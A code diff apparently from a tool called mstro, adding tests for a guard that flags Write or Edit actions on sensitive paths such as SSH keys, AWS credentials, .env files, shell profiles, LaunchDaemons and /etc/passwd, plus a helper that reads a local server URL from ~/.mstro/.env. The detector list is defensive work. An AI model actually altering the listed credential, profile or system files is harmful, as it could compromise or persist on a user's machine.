223
+
224
+ it('detects credential files', () => {
225
+ expect(isSensitivePath('Write: /home/user/.ssh/id_rsa')).not.toBeNull();
226
+ expect(isSensitivePath('Edit: /home/user/.gnupg/pubring.kbx')).not.toBeNull();
227
+ expect(isSensitivePath('Write: /home/user/.aws/credentials')).not.toBeNull();
228
+ expect(isSensitivePath('Edit: /home/user/.aws/config')).not.toBeNull();
229
+ });
230
+
231
+ it('detects env files', () => {
232
+ expect(isSensitivePath('Write: /home/user/project/.env')).not.toBeNull();
233
+ expect(isSensitivePath('Edit: /home/user/project/.env.local')).not.toBeNull();
234
+ expect(isSensitivePath('Write: /home/user/project/.env.production')).not.toBeNull();
235
+ });
236
+
237
+ it('detects shell profiles', () => {
238
+ expect(isSensitivePath('Write: /home/user/.bashrc')).not.toBeNull();
239
+ expect(isSensitivePath('Edit: /home/user/.zshrc')).not.toBeNull();
240
+ expect(isSensitivePath('Write: /home/user/.profile')).not.toBeNull();
241
+ });
242
+
243
+ it('detects macOS system paths', () => {
244
+ expect(isSensitivePath('Write: /System/Library/something')).not.toBeNull();
245
+ expect(isSensitivePath('Edit: /Library/LaunchDaemons/com.example.plist')).not.toBeNull();
246
+ });
247
+
248
+ it('returns null for safe paths', () => {
249
+ expect(isSensitivePath('Write: /home/user/project/src/index.ts')).toBeNull();
250
+ expect(isSensitivePath('Read: /etc/passwd')).toBeNull(); // Read, not Write
251
+ expect(isSensitivePath('Bash: npm test')).toBeNull();
252
+ });
253
+
254
+ it('only triggers on Write/Edit, not Read', () => {
255
+ expect(isSensitivePath('Read: /etc/passwd')).toBeNull();
256
+ expect(isSensitivePath('Write: /etc/passwd')).not.toBeNull();
257
+ });
258
+ });
@@ -23,7 +23,19 @@ import { getClientId } from './client-id.js'
23
23
 
24
24
  const MSTRO_DIR = join(homedir(), '.mstro')
25
25
  const CONFIG_FILE = join(MSTRO_DIR, 'config.json')
26
- const PLATFORM_URL = process.env.PLATFORM_URL || 'https://api.mstro.app'
26
+
27
+ // Read SERVER_URL from ~/.mstro/.env if it exists (for local dev)
28
+ function getServerUrl(): string {
29
+ try {
30
+ const envPath = join(MSTRO_DIR, '.env')
31
+ const content = readFileSync(envPath, 'utf-8')
32
+ const match = content.match(/^SERVER_URL=(.+)$/m)
33
+ if (match) return match[1].trim()
34
+ } catch {}
35
+ return 'https://api.mstro.app'
36
+ }
37
+
38
+ const PLATFORM_URL = process.env.PLATFORM_URL || getServerUrl()
27
39
 
28
40
  let client: PostHog | null = null
29
41
  let telemetryEnabled: boolean | null = null
@@ -102,7 +102,18 @@ if (typeof WebSocket !== 'undefined') {
102
102
  WebSocketImpl = WS as unknown as typeof WebSocket
103
103
  }
104
104
 
105
- const DEFAULT_PLATFORM_URL = process.env.PLATFORM_URL || 'https://api.mstro.app'
105
+ // Read SERVER_URL from ~/.mstro/.env if it exists (for local dev)
106
+ function getServerUrl(): string {
107
+ try {
108
+ const envPath = join(MSTRO_DIR, '.env')
109
+ const content = readFileSync(envPath, 'utf-8')
110
+ const match = content.match(/^SERVER_URL=(.+)$/m)
111
+ if (match) return match[1].trim()
112
+ } catch {}
113
+ return 'https://api.mstro.app'
114
+ }
115
+
116
+ const DEFAULT_PLATFORM_URL = process.env.PLATFORM_URL || getServerUrl()
106
117
 
107
118
  interface ConnectionCallbacks {
108
119
  onConnected?: (connectionId: string) => void